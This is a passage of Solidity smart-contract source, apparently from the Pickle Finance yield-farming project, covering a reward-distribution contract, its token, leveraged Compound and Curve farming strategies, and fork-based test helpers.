userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe pickle transfer function, just in case if rounding error causes pool to not have enough PICKLEs. function safePickleTransfer(address _to, uint256 _amount) internal { uint256 pickleBal = pickle.balanceOf(address(this)); if (_amount > pickleBal) { pickle.transfer(_to, pickleBal); } else { pickle.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } // **** Additional functions separate from the original masterchef contract **** function setPicklePerBlock(uint256 _picklePerBlock) public onlyOwner { require(_picklePerBlock > 0, "!picklePerBlock-0"); picklePerBlock = _picklePerBlock; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } function setDevFundDivRate(uint256 _devFundDivRate) public onlyOwner { require(_devFundDivRate > 0, "!devFundDivRate-0"); devFundDivRate = _devFundDivRate; } } contract PickleToken is ERC20("PickleToken", "PICKLE"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } } interface IJar is IERC20 { function token() external view returns (address); function claimInsurance() external; // NOTE: Only yDelegatedVault implements this function getRatio() external view returns (uint256); function deposit(uint256) external; function withdraw(uint256) external; function earn() external; function decimals() external view returns (uint8); } contract StrategyCmpdDaiV2 is StrategyBase, Exponential { address public constant comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant lens = 0xd513d22422a3062Bd342Ae374b4b9c20E0a9a074; address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant comp = 0xc00e94Cb662C3520282E6f5717214004A7f26888; address public constant cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant cether = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; // Require a 0.1 buffer between // market collateral factor and strategy's collateral factor // when leveraging uint256 colFactorLeverageBuffer = 100; uint256 colFactorLeverageBufferMax = 1000; // Allow a 0.05 buffer // between market collateral factor and strategy's collateral factor // until we have to deleverage // This is so we can hit max leverage and keep accruing interest uint256 colFactorSyncBuffer = 50; uint256 colFactorSyncBufferMax = 1000; // Keeper bots // Maintain leverage within buffer mapping(address => bool) keepers; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(dai, _governance, _strategist, _controller, _timelock) { // Enter cDAI Market address[] memory ctokens = new address[](1); ctokens[0] = cdai; IComptroller(comptroller).enterMarkets(ctokens); } // **** Modifiers **** // modifier onlyKeepers { require( keepers[msg.sender] || msg.sender == address(this) || msg.sender == strategist || msg.sender == governance, "!keepers" ); _; } // **** Views **** // function getName() external override pure returns (string memory) { return "StrategyCmpdDaiV2"; } function getSuppliedView() public view returns (uint256) { (, uint256 cTokenBal, , uint256 exchangeRate) = ICToken(cdai) .getAccountSnapshot(address(this)); (, uint256 bal) = mulScalarTruncate( Exp({mantissa: exchangeRate}), cTokenBal ); return bal; } function getBorrowedView() public view returns (uint256) { return ICToken(cdai).borrowBalanceStored(address(this)); } function balanceOfPool() public override view returns (uint256) { uint256 supplied = getSuppliedView(); uint256 borrowed = getBorrowedView(); return supplied.sub(borrowed); } // Given an unleveraged supply balance, return the target // leveraged supply balance which is still within the safety buffer function getLeveragedSupplyTarget(uint256 supplyBalance) public view returns (uint256) { uint256 leverage = getMaxLeverage(); return supplyBalance.mul(leverage).div(1e18); } function getSafeLeverageColFactor() public view returns (uint256) { uint256 colFactor = getMarketColFactor(); // Collateral factor within the buffer uint256 safeColFactor = colFactor.sub( colFactorLeverageBuffer.mul(1e18).div(colFactorLeverageBufferMax) ); return safeColFactor; } function getSafeSyncColFactor() public view returns (uint256) { uint256 colFactor = getMarketColFactor(); // Collateral factor within the buffer uint256 safeColFactor = colFactor.sub( colFactorSyncBuffer.mul(1e18).div(colFactorSyncBufferMax) ); return safeColFactor; } function getMarketColFactor() public view returns (uint256) { (, uint256 colFactor) = IComptroller(comptroller).markets(cdai); return colFactor; } // Max leverage we can go up to, w.r.t safe buffer function getMaxLeverage() public view returns (uint256) { uint256 safeLeverageColFactor = getSafeLeverageColFactor(); // Infinite geometric series uint256 leverage = uint256(1e36).div(1e18 - safeLeverageColFactor); return leverage; } // **** Pseudo-view functions (use `callStatic` on these) **** // /* The reason why these exists is because of the nature of the interest accruing supply + borrow balance. The "view" methods are technically snapshots and don't represent the real value. As such there are pseudo view methods where you can retrieve the results by calling `callStatic`. */ function getCompAccrued() public returns (uint256) { (, , , uint256 accrued) = ICompoundLens(lens).getCompBalanceMetadataExt( comp, comptroller, address(this) ); return accrued; } function getColFactor() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return borrowed.mul(1e18).div(supplied); } function getSuppliedUnleveraged() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return supplied.sub(borrowed); } function getSupplied() public returns (uint256) { return ICToken(cdai).balanceOfUnderlying(address(this)); } function getBorrowed() public returns (uint256) { return ICToken(cdai).borrowBalanceCurrent(address(this)); } function getBorrowable() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); (, uint256 colFactor) = IComptroller(comptroller).markets(cdai); // 99.99% just in case some dust accumulates return supplied.mul(colFactor).div(1e18).sub(borrowed).mul(9999).div( 10000 ); } function getCurrentLeverage() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return supplied.mul(1e18).div(supplied.sub(borrowed)); } // **** Setters **** // function addKeeper(address _keeper) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); keepers[_keeper] = true; } function removeKeeper(address _keeper) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); keepers[_keeper] = false; } function setColFactorLeverageBuffer(uint256 _colFactorLeverageBuffer) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); colFactorLeverageBuffer = _colFactorLeverageBuffer; } function setColFactorSyncBuffer(uint256 _colFactorSyncBuffer) public { require( msg.sender == governance || msg.sender == strategist, "!governance" ); colFactorSyncBuffer = _colFactorSyncBuffer; } // **** State mutations **** // // Do a `callStatic` on this. // If it returns true then run it for realz. (i.e. eth_signedTx, not eth_call) function sync() public returns (bool) { uint256 colFactor = getColFactor(); uint256 safeSyncColFactor = getSafeSyncColFactor(); // If we're not safe if (colFactor > safeSyncColFactor) { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 idealSupply = getLeveragedSupplyTarget(unleveragedSupply); deleverageUntil(idealSupply); return true; } return false; } function leverageToMax() public { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 idealSupply = getLeveragedSupplyTarget(unleveragedSupply); leverageUntil(idealSupply); } // Leverages until we're supplying <x> amount // 1. Redeem <x> DAI // 2. Repay <x> DAI function leverageUntil(uint256 _supplyAmount) public onlyKeepers { // 1. Borrow out <X> DAI // 2. Supply <X> DAI uint256 leverage = getMaxLeverage(); uint256 unleveragedSupply = getSuppliedUnleveraged(); require( _supplyAmount >= unleveragedSupply && _supplyAmount <= unleveragedSupply.mul(leverage).div(1e18), "!leverage" ); // Since we're only leveraging one asset // Supplied = borrowed uint256 _borrowAndSupply; uint256 supplied = getSupplied(); while (supplied < _supplyAmount) { _borrowAndSupply = getBorrowable(); if (supplied.add(_borrowAndSupply) > _supplyAmount) { _borrowAndSupply = _supplyAmount.sub(supplied); } ICToken(cdai).borrow(_borrowAndSupply); deposit(); supplied = supplied.add(_borrowAndSupply); } } function deleverageToMin() public { uint256 unleveragedSupply = getSuppliedUnleveraged(); deleverageUntil(unleveragedSupply); } // Deleverages until we're supplying <x> amount // 1. Redeem <x> DAI // 2. Repay <x> DAI function deleverageUntil(uint256 _supplyAmount) public onlyKeepers { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 supplied = getSupplied(); require( _supplyAmount >= unleveragedSupply && _supplyAmount <= supplied, "!deleverage" ); // Since we're only leveraging on 1 asset // redeemable = borrowable uint256 _redeemAndRepay = getBorrowable(); do { if (supplied.sub(_redeemAndRepay) < _supplyAmount) { _redeemAndRepay = supplied.sub(_supplyAmount); } require( ICToken(cdai).redeemUnderlying(_redeemAndRepay) == 0, "!redeem" ); IERC20(dai).safeApprove(cdai, 0); IERC20(dai).safeApprove(cdai, _redeemAndRepay); require(ICToken(cdai).repayBorrow(_redeemAndRepay) == 0, "!repay"); supplied = supplied.sub(_redeemAndRepay); } while (supplied > _supplyAmount); } function harvest() public override onlyBenevolent { address[] memory ctokens = new address[](1); ctokens[0] = cdai; IComptroller(comptroller).claimComp(address(this), ctokens); uint256 _comp = IERC20(comp).balanceOf(address(this)); if (_comp > 0) { _swapUniswap(comp, want, _comp); } _distributePerformanceFeesAndDeposit(); } function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(cdai, 0); IERC20(want).safeApprove(cdai, _want); require(ICToken(cdai).mint(_want) == 0, "!deposit"); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { uint256 _want = balanceOfWant(); if (_want < _amount) { uint256 _redeem = _amount.sub(_want); // Make sure market can cover liquidity require(ICToken(cdai).getCash() >= _redeem, "!cash-liquidity"); // How much borrowed amount do we need to free? uint256 borrowed = getBorrowed(); uint256 supplied = getSupplied(); uint256 curLeverage = getCurrentLeverage(); uint256 borrowedToBeFree = _redeem.mul(curLeverage).div(1e18); // If the amount we need to free is > borrowed // Just free up all the borrowed amount if (borrowedToBeFree > borrowed) { this.deleverageToMin(); } else { // Otherwise just keep freeing up borrowed amounts until // we hit a safe number to redeem our underlying this.deleverageUntil(supplied.sub(borrowedToBeFree)); } // Redeems underlying require(ICToken(cdai).redeemUnderlying(_redeem) == 0, "!redeem"); } return _amount; } } contract StrategyCurve3CRVv2 is StrategyCurveBase { // Curve stuff address public three_pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; address public three_gauge = 0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A; address public three_crv = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyCurveBase( three_pool, three_gauge, three_crv, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getMostPremium() public override view returns (address, uint256) { uint256[] memory balances = new uint256[](3); balances[0] = ICurveFi_3(curve).balances(0); // DAI balances[1] = ICurveFi_3(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi_3(curve).balances(2).mul(10**12); // USDT // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] ) { return (usdt, 2); } // If they're somehow equal, we just want DAI return (dai, 0); } function getName() external override pure returns (string memory) { return "StrategyCurve3CRVv2"; } // **** State Mutations **** function harvest() public onlyBenevolent override { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // Don't bother voting in v1 ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { // x% is sent back to the rewards holder // to be used to lock up in as veCRV in a future date uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); if (_keepCRV > 0) { IERC20(crv).safeTransfer( IController(controller).treasury(), _keepCRV ); } _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } // Adds liquidity to curve.fi's pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[3] memory liquidity; liquidity[toIndex] = _to; ICurveFi_3(curve).add_liquidity(liquidity, 0); } _distributePerformanceFeesAndDeposit(); } } contract StrategyCurveRenCRVv2 is StrategyCurveBase { // https://www.curve.fi/ren // Curve stuff address public ren_pool = 0x93054188d876f558f4a66B2EF1d97d16eDf0895B; address public ren_gauge = 0xB1F2cdeC61db658F091671F5f199635aEF202CAC; address public ren_crv = 0x49849C98ae39Fff122806C06791Fa73784FB3675; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyCurveBase( ren_pool, ren_gauge, ren_crv, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getMostPremium() public override view returns (address, uint256) { // Both 8 decimals, so doesn't matter uint256[] memory balances = new uint256[](3); balances[0] = ICurveFi_2(curve).balances(0); // RENBTC balances[1] = ICurveFi_2(curve).balances(1); // WBTC // renbtc if (balances[0] < balances[1]) { return (renbtc, 0); } // WBTC if (balances[1] < balances[0]) { return (wbtc, 1); } // If they're somehow equal, we just want RENBTC return (renbtc, 0); } function getName() external override pure returns (string memory) { return "StrategyCurveRenCRVv2"; } // **** State Mutations **** function harvest() public override onlyBenevolent { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // Don't bother voting in v1 ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { // x% is sent back to the rewards holder // to be used to lock up in as veCRV in a future date uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); if (_keepCRV > 0) { IERC20(crv).safeTransfer( IController(controller).treasury(), _keepCRV ); } _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } // Adds liquidity to curve.fi's pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[2] memory liquidity; liquidity[toIndex] = _to; ICurveFi_2(curve).add_liquidity(liquidity, 0); } _distributePerformanceFeesAndDeposit(); } } contract StrategyCurveSCRVv3_2 is StrategyCurveBase { // Curve stuff address public susdv2_pool = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address public susdv2_gauge = 0xA90996896660DEcC6E997655E065b23788857849; address public scrv = 0xC25a3A3b969415c80451098fa907EC722572917F; // Harvesting address public snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyCurveBase( susdv2_pool, susdv2_gauge, scrv, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getMostPremium() public override view returns (address, uint256) { uint256[] memory balances = new uint256[](4); balances[0] = ICurveFi_4(curve).balances(0); // DAI balances[1] = ICurveFi_4(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi_4(curve).balances(2).mul(10**12); // USDT balances[3] = ICurveFi_4(curve).balances(3); // sUSD // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] && balances[0] < balances[3] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] && balances[1] < balances[3] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] && balances[2] < balances[3] ) { return (usdt, 2); } // SUSD if ( balances[3] < balances[0] && balances[3] < balances[1] && balances[3] < balances[2] ) { return (susd, 3); } // If they're somehow equal, we just want DAI return (dai, 0); } function getName() external override pure returns (string memory) { return "StrategyCurveSCRVv3_2"; } // **** State Mutations **** function harvest() public onlyBenevolent override { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // Don't bother voting in v1 ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { // x% is sent back to the rewards holder // to be used to lock up in as veCRV in a future date uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); if (_keepCRV > 0) { IERC20(crv).safeTransfer( IController(controller).treasury(), _keepCRV ); } _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } // Collects SNX tokens ICurveGauge(gauge).claim_rewards(address(this)); uint256 _snx = IERC20(snx).balanceOf(address(this)); if (_snx > 0) { _swapUniswap(snx, to, _snx); } // Adds liquidity to curve.fi's susd pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[4] memory liquidity; liquidity[toIndex] = _to; ICurveFi_4(curve).add_liquidity(liquidity, 0); } // We want to get back sCRV _distributePerformanceFeesAndDeposit(); } } contract StrategyCurveSCRVv4_1 is StrategyBase { // Curve address public scrv = 0xC25a3A3b969415c80451098fa907EC722572917F; address public susdv2_gauge = 0xA90996896660DEcC6E997655E065b23788857849; address public susdv2_pool = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address public escrow = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; // curve dao address public gauge; address public curve; address public mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; // tokens we're farming address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; // stablecoins address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; // How much CRV tokens to keep uint256 public keepCRV = 500; uint256 public keepCRVMax = 10000; // crv-locker and voter address public scrvVoter; address public crvLocker; constructor( address _scrvVoter, address _crvLocker, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(scrv, _governance, _strategist, _controller, _timelock) { curve = susdv2_pool; gauge = susdv2_gauge; scrvVoter = _scrvVoter; crvLocker = _crvLocker; } // **** Getters **** function balanceOfPool() public override view returns (uint256) { return SCRVVoter(scrvVoter).balanceOf(gauge); } function getName() external override pure returns (string memory) { return "StrategyCurveSCRVv4_1"; } function getHarvestable() external returns (uint256) { return ICurveGauge(gauge).claimable_tokens(crvLocker); } function getMostPremium() public view returns (address, uint8) { uint256[] memory balances = new uint256[](4); balances[0] = ICurveFi_4(curve).balances(0); // DAI balances[1] = ICurveFi_4(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi_4(curve).balances(2).mul(10**12); // USDT balances[3] = ICurveFi_4(curve).balances(3); // sUSD // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] && balances[0] < balances[3] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] && balances[1] < balances[3] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] && balances[2] < balances[3] ) { return (usdt, 2); } // SUSD if ( balances[3] < balances[0] && balances[3] < balances[1] && balances[3] < balances[2] ) { return (susd, 3); } // If they're somehow equal, we just want DAI return (dai, 0); } // **** Setters **** function setKeepCRV(uint256 _keepCRV) external { require(msg.sender == governance, "!governance"); keepCRV = _keepCRV; } // **** State Mutations **** function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeTransfer(scrvVoter, _want); SCRVVoter(scrvVoter).deposit(gauge, want); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { return SCRVVoter(scrvVoter).withdraw(gauge, want, _amount); } function harvest() public override onlyBenevolent { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun / sandwiched // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned/sandwiched? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // Don't bother voting in v1 SCRVVoter(scrvVoter).harvest(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { // How much CRV to keep to restake? uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax); IERC20(crv).safeTransfer(address(crvLocker), _keepCRV); // How much CRV to swap? _crv = _crv.sub(_keepCRV); _swapUniswap(crv, to, _crv); } // Collects SNX tokens SCRVVoter(scrvVoter).claimRewards(); uint256 _snx = IERC20(snx).balanceOf(address(this)); if (_snx > 0) { _swapUniswap(snx, to, _snx); } // Adds liquidity to curve.fi's susd pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[4] memory liquidity; liquidity[toIndex] = _to; ICurveFi_4(curve).add_liquidity(liquidity, 0); } // We want to get back sCRV _distributePerformanceFeesAndDeposit(); } } contract DSTestApprox is DSTest { function assertEqApprox(uint256 a, uint256 b) internal { if (a == 0 && b == 0) { return; } // +/- 5% uint256 bMax = (b * 105) / 100; uint256 bMin = (b * 95) / 100; if (!(a > bMin && a < bMax)) { emit log_bytes32("Error: Wrong `a-uint` value!"); emit log_named_uint(" Expected", b); emit log_named_uint(" Actual", a); fail(); } } function assertEqVerbose(bool a, bytes memory b) internal { if (!a) { emit log_bytes32("Error: assertion error!"); emit logs(b); fail(); } } } contract DSTestDefiBase is DSTestApprox { using SafeERC20 for IERC20; using SafeMath for uint256; address pickle = 0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5; address burn = 0x000000000000000000000000000000000000dEaD; address susdv2_deposit = 0xFCBa3E75865d2d561BE8D220616520c171F12851; address susdv2_pool = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; address three_pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; address ren_pool = 0x93054188d876f558f4a66B2EF1d97d16eDf0895B; address scrv = 0xC25a3A3b969415c80451098fa907EC722572917F; address three_crv = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; address ren_crv = 0x49849C98ae39Fff122806C06791Fa73784FB3675; address eth = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; address uni = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; address wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; address renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D; Hevm hevm = Hevm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); UniswapRouterV2 univ2 = UniswapRouterV2( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); IUniswapV2Factory univ2Factory = IUniswapV2Factory( 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f ); ICurveFi_4 curveSusdV2 = ICurveFi_4( 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD ); uint256 startTime = block.timestamp; receive() external payable {} fallback () external payable {} function _swap( address _from, address _to, uint256 _amount ) internal { address[] memory path; if (_from == eth || _from == weth) { path = new address[](2); path[0] = weth; path[1] = _to; univ2.swapExactETHForTokens{value: _amount}( 0, path, address(this), now + 60 ); } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; IERC20(_from).safeApprove(address(univ2), 0); IERC20(_from).safeApprove(address(univ2), _amount); univ2.swapExactTokensForTokens( _amount, 0, path, address(this), now + 60 ); } } function _getERC20(address token, uint256 _amount) internal { address[] memory path = new address[](2); path[0] = weth; path[1] = token; uint256[] memory ins = univ2.getAmountsIn(_amount, path); uint256 ethAmount = ins[0]; univ2.swapETHForExactTokens{value: ethAmount}( _amount, path, address(this), now + 60 ); } function _getERC20WithETH(address token, uint256 _ethAmount) internal { address[] memory path = new address[](2); path[0] = weth; path[1] = token; univ2.swapExactETHForTokens{value: _ethAmount}( 0, path, address(this), now + 60 ); } function _getUniV2LPToken(address lpToken, uint256 _ethAmount) internal { address token0 = IUniswapV2Pair(lpToken).token0(); address token1 = IUniswapV2Pair(lpToken).token1(); if (token0 != weth) { _getERC20WithETH(token0, _ethAmount.div(2)); } else { WETH(weth).deposit{value: _ethAmount.div(2)}(); } if (token1 != weth) { _getERC20WithETH(token1, _ethAmount.div(2)); } else { WETH(weth).deposit{value: _ethAmount.div(2)}(); } IERC20(token0).safeApprove(address(univ2), uint256(0)); IERC20(token0).safeApprove(address(univ2), uint256(-1)); IERC20(token1).safeApprove(address(univ2), uint256(0)); IERC20(token1).safeApprove(address(univ2), uint256(-1)); univ2.addLiquidity( token0, token1, IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), 0, 0, address(this), now + 60 ); } function _getUniV2LPToken( address token0, address token1, uint256 _ethAmount ) internal { _getUniV2LPToken(univ2Factory.getPair(token0, token1), _ethAmount); } function _getFunctionSig(string memory sig) internal pure returns (bytes4) { return bytes4(keccak256(bytes(sig))); } function _getDynamicArray(address payable one) internal pure returns (address payable[] memory) { address payable[] memory targets = new address payable[](1); targets[0] = one; return targets; } function _getDynamicArray(bytes memory one) internal pure returns (bytes[] memory) { bytes[] memory data = new bytes[](1); data[0] = one; return data; } function _getDynamicArray(address payable one, address payable two) internal pure returns (address payable[] memory) { address payable[] memory targets = new address payable[](2); targets[0] = one; targets[1] = two; return targets; } function _getDynamicArray(bytes memory one, bytes memory two) internal pure returns (bytes[] memory) { bytes[] memory data = new bytes[](2); data[0] = one; data[1] = two; return data; } function _getDynamicArray( address payable one, address payable two, address payable three ) internal pure returns (address payable[] memory) { address payable[] memory targets = new address payable[](3); targets[0] = one; targets[1] = two; targets[2] = three; return targets; } function _getDynamicArray( bytes memory one, bytes memory two, bytes memory three ) internal pure returns (bytes[] memory) { bytes[] memory data = new bytes[](3); data[0] = one; data[1] = two; data[2] = three; return data; } } contract StrategyCurveFarmTestBase is DSTestDefiBase { address governance; address strategist; address timelock; address devfund; address treasury; address want; PickleJar pickleJar; ControllerV4 controller; IStrategy strategy; // **** Tests **** function _test_withdraw() internal { uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); // Deposits to strategy pickleJar.earn(); // Fast forwards hevm.warp(block.timestamp + 1 weeks); strategy.harvest(); // Withdraws back to pickleJar uint256 _before = IERC20(want).balanceOf(address(pickleJar)); controller.withdrawAll(want); uint256 _after = IERC20(want).balanceOf(address(pickleJar)); assertTrue(_after > _before); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdrawAll(); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); // Gained some interest assertTrue(_after > _want); } function _test_get_earn_harvest_rewards() internal { uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); // Fast forward one week hevm.warp(block.timestamp + 1 weeks); // Call the harvest function uint256 _before = pickleJar.balance(); uint256 _treasuryBefore = IERC20(want).balanceOf(treasury); strategy.harvest(); uint256 _after = pickleJar.balance(); uint256 _treasuryAfter = IERC20(want).balanceOf(treasury); uint256 earned = _after.sub(_before).mul(1000).div(955); uint256 earnedRewards = earned.mul(45).div(1000); // 4.5% uint256 actualRewardsEarned = _treasuryAfter.sub(_treasuryBefore); // 4.5% performance fee is given assertEqApprox(earnedRewards, actualRewardsEarned); // Withdraw uint256 _devBefore = IERC20(want).balanceOf(devfund); _treasuryBefore = IERC20(want).balanceOf(treasury); uint256 _stratBal = strategy.balanceOf(); pickleJar.withdrawAll(); uint256 _devAfter = IERC20(want).balanceOf(devfund); _treasuryAfter = IERC20(want).balanceOf(treasury); // 0.175% goes to dev uint256 _devFund = _devAfter.sub(_devBefore); assertEq(_devFund, _stratBal.mul(175).div(100000)); // 0.325% goes to treasury uint256 _treasuryFund = _treasuryAfter.sub(_treasuryBefore); assertEq(_treasuryFund, _stratBal.mul(325).div(100000)); } } contract StrategyUniFarmTestBase is DSTestDefiBase { address want; address token1; address governance; address strategist; address timelock; address devfund; address treasury; PickleJar pickleJar; ControllerV4 controller; IStrategy strategy; function _getWant(uint256 ethAmount, uint256 amount) internal { _getERC20(token1, amount); uint256 _token1 = IERC20(token1).balanceOf(address(this)); IERC20(token1).safeApprove(address(univ2), 0); IERC20(token1).safeApprove(address(univ2), _token1); univ2.addLiquidityETH{value: ethAmount}( token1, _token1, 0, 0, address(this), now + 60 ); } // **** Tests **** function _test_timelock() internal { assertTrue(strategy.timelock() == timelock); strategy.setTimelock(address(1)); assertTrue(strategy.timelock() == address(1)); } function _test_withdraw_release() internal { uint256 decimals = ERC20(token1).decimals(); _getWant(10 ether, 4000 * (10**decimals)); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).safeApprove(address(pickleJar), 0); IERC20(want).safeApprove(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); hevm.warp(block.timestamp + 1 weeks); strategy.harvest(); // Checking withdraw uint256 _before = IERC20(want).balanceOf(address(pickleJar)); controller.withdrawAll(want); uint256 _after = IERC20(want).balanceOf(address(pickleJar)); assertTrue(_after > _before); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdrawAll(); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); // Check if we gained interest assertTrue(_after > _want); } function _test_get_earn_harvest_rewards() internal { uint256 